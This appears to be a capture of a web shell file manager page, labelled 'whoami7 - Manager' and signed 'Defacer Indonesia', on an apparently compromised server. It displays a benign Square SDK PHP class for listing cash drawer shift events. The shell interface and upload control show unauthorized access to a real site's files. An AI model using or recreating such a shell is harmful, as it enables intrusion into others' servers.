whoami7 - Manager
:
/
home
/
kckglobal
/
www
/
portal
/
vendor
/
square
/
square
/
src
/
Models
/
Upload File:
files >> /home/kckglobal/www/portal/vendor/square/square/src/Models/ListCashDrawerShiftEventsRequest.php
<?php declare(strict_types=1); namespace Square\Models; use stdClass; class ListCashDrawerShiftEventsRequest implements \JsonSerializable { /** * @var string */ private $locationId; /** * @var int|null */ private $limit; /** * @var string|null */ private $cursor; /** * @param string $locationId */ public function __construct(string $locationId) { $this->locationId = $locationId; } /** * Returns Location Id. * * The ID of the location to list cash drawer shifts for. */ public function getLocationId(): string { return $this->locationId; } /** * Sets Location Id. * * The ID of the location to list cash drawer shifts for. * * @required * @maps location_id */ public function setLocationId(string $locationId): void { $this->locationId = $locationId; } /** * Returns Limit. * * Number of resources to be returned in a page of results (200 by * default, 1000 max). */ public function getLimit(): ?int { return $this->limit; } /** * Sets Limit. * * Number of resources to be returned in a page of results (200 by * default, 1000 max). * * @maps limit */ public function setLimit(?int $limit): void { $this->limit = $limit; } /** * Returns Cursor. * * Opaque cursor for fetching the next page of results. */ public function getCursor(): ?string { return $this->cursor; } /** * Sets Cursor. * * Opaque cursor for fetching the next page of results. * * @maps cursor */ public function setCursor(?string $cursor): void { $this->cursor = $cursor; } /** * Encode this object to JSON * * @param bool $asArrayWhenEmpty Whether to serialize this model as an array whenever no fields * are set. (default: false) * * @return mixed */ public function jsonSerialize(bool $asArrayWhenEmpty = false) { $json = []; $json['location_id'] = $this->locationId; if (isset($this->limit)) { $json['limit'] = $this->limit; } if (isset($this->cursor)) { $json['cursor'] = $this->cursor; } $json = array_filter($json, function ($val) { return $val !== null; }); return (!$asArrayWhenEmpty && empty($json)) ? new stdClass() : $json; } }
Copyright ©2021 || Defacer Indonesia